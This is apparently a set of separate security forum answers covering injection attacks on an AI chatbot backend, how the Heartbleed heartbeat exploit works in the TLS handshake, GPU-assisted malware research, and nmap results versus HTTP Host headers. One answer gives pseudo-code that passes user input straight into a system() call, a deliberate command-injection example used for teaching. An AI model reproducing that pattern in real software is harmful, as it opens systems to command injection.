In doubt, either contact a lawyer before doing anything or abstain.

As a side note, you remain free to scan your own devices on your own network. Simply using virtual machines in your own LAN is usually enough for most personal tests.


"Reflected XSS"-like attack on chatbot AI

XSS? Highly unlikely. General injection attacks? Sure.

XSS is essentially a vulnerability that allows an attacker to execute Javascript in another users browser. But it's unlikely that an AI would simulate real-world users to a degree where it logs in with a browser, gains a session, etc.

It is more likely that the AI would run on the server itself (or some other server and communicate via API).

Without (user/AI) interaction in a web browser, there's by definition no XSS. But you can have various other injection vulnerabilities. OS command injection, SQL injection, etc.

A very simple example:

$userinput = [input]
// do complex stuff. Find an unknown word $word (defined as a string of chars in-between spaces) and look it up via OS command:
$definition = system("dict " + $word);

What is also possible is that user input can contain some HTML (eg for links), and that the HTML parser which feeds data to the AI contains vulnerabilities (SSRF comes to mind). But again, without executing Javascript in a browser and abusing the current authorization of the attacked user, any vulnerability here wouldn't be an XSS vulnerability.


I guess you are referring to ssltest.py that is circulating in the wild. The Client Hello was probably just copied from another packet capture. It is part of the SSL handshake:

  Client                                               Server

  ClientHello                  -------->
                                                  ServerHello
                                                 Certificate*
                                           ServerKeyExchange*
                                          CertificateRequest*
                               <--------      ServerHelloDone
  Certificate*
  ClientKeyExchange
  CertificateVerify*
  [ChangeCipherSpec]
  Finished                     -------->
                                           [ChangeCipherSpec]
                               <--------             Finished
  Application Data             <------->     Application Data

OpenSSL allows heartbeats to be received during the handshake. Because the client has not yet sent a ChangeCipherSpec message, the Heartbeat request is not encrypted. For an explanation of the heartbeat request and response format, see this answer. It also shows why the exploit is happening, the payload length is too large and the payload + padding is omitted.

The format of the SSL packets are described as TLSPlaintext in Appendix A of RFC 5246 (TLS 1.2). The "fragment" would be the ClientHello handshake message and the Heartbeat request starting at the type and payload length.

I think that the comments in my implementation of the Heartbleed server PoC will help you understand it better.


someone claims to have created such a malware, can he be true?

Malware can run mostly on GPUs to evade the detection by traditional approaches. One such proof-of-concept is provided in "GPU-assisted Malware". The authors demonstrate how to use General purpose computing on GPUs (GPGPU) to develop a malware which is self-unpacking and with run-time polymorphism.


Does nmap port scan return the correct ports for the websites that don't allow direct IP access

nmap returns port information for an IP address, not a website.

When you connect to a web site, your browser sends a request that looks something like this:

GET / HTTP/1.1
Host: www.example.com

The web server software looks at the name provided in the "Host" field and will serve you a response from the appropriate virtual name-based container.  So when you go to www.example.com, the server knows you want that site, and feeds it to you.  However, if you go to 192.168.1.2, your request will look like this:

GET / HTTP/1.1
Host: 192.168.1.2

and the server sees that and says "I don't have a configuration for a name 192.168.1.2!  I'm going to serve a response from the default virtual."  And in your case, the default virtual is a default page that says "the page has been removed or the site has moved."

So that's why you see two different answers from the same web server depending on which name you use.

But that web server is listening to IP 192.168.1.2.  When you scan that IP address with nmap, it will show that (say) port 80 and port 443.  This is separate from the question of what multiple sites might be hosted on one of those ports; the port is open.